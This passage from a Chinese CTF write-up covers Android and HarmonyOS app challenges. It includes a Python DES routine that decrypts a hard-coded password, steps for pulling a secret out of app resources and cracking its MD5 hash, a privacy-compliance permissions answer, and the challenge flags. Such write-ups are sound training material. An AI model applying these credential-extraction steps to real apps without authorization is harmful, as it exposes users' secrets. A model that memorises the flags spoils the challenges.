        m = self.Initial_permutation(plaintext)  # ! IP permutration
        left, right = m[:32], m[32:]
        for i in range(16):
            left, right = self.Round(left, right, self.subkeys[i])
        tmp = self.inv_Initial_permutation(
            right + left)  # ! inverse IP permutation
        return int("".join(str(i) for i in tmp), 2)

    def decrypt(self, ciphertext: int) -> int:
        ciphertext = bin(ciphertext)[2:].rjust(64, "0")  # ! make up 64 bits
        # ! invert the subkeys for decryption
        subkeys = self.subkeys[::-1]

        m = self.Initial_permutation(ciphertext)  # ! IP permutation
        left, right = m[:32], m[32:]
        for i in range(16):
            left, right = self.Round(left, right, subkeys[i])
        tmp = self.inv_Initial_permutation(
            right + left)  # ! inverse IP permutation
        return int("".join(str(i) for i in tmp), 2)


des = DES(key=0x3433326e316d6440)
des.keyGen()
enc = [0x8EA98C42FC03526E, 0xC242087EC46018B2, 0x79485D6700011437, 0x572FAC9E15AF400]
for i in enc:
    print(des.decrypt(i).to_bytes(8, 'little').decode(), end='')
print()

解密得到 password 为 93b4001b2418fd2398ab73e51fc44968。

完成登陆后会开启一个 DashboardActivity,并将 username 和 password 传给这个 intent,对 DashboardActivity 逆向可以发现,其核心逻辑是开启一个 NanoHTTPD 的服务,并对一个加密字符串进行解密后作为 HTTP 的内容返回。

其解密的逻辑是使用 username||password 的 MD5 哈希前半部分和后半部分分别作为 DES 的密钥与 IV 进行解密。我们这里直接进行解密即可:

flag: flag{9d0e920a115102a8f33247e125}

隐私合规

Privacy Master(1)

在用户同意隐私政策前APP请求了什么信息,按照请求先后顺序回答,英文逗号分隔,回答内容为 android.permission.xxxx 后面的xxxx 大写回答(以安卓11参考回答,请注意提交次数限制)

根据 mainfest 找到主函数,可以看到在同意隐私政策(PRIVACY_POLICY_AGREED)前调用了checkAndRequestPermissions函数:

进入查看,可以看到依次了 READ_PHONE_STATE,ACCESS_FINE_LOCATION:

故答案为 READ_PHONE_STATE,ACCESS_FINE_LOCATION

Harmony

鸿蒙开发人员由于开发疏忽,不正确的使用了危险函数,导致用户凭证泄露,找出关键点,按程序提示提交答案

可以看到主逻辑是比较 md5 值:

在 com.hmos.exam1/entry/ets/pages.Index#aboutToAppear 中可以看到给 storedHash 的赋值语句,并且通过创建对象从系统资源管理器中获取一个文件:

在解压的文件包中看到 resources.index 文件,存有一个 secret 字段:

cmd5 查询:

flag 为 Flag{md5(goodgood16f85293e920fd49eda6bf0df98bfd33)} 即 Flag{ee51e080d1db85f9927fe87aa92267bb}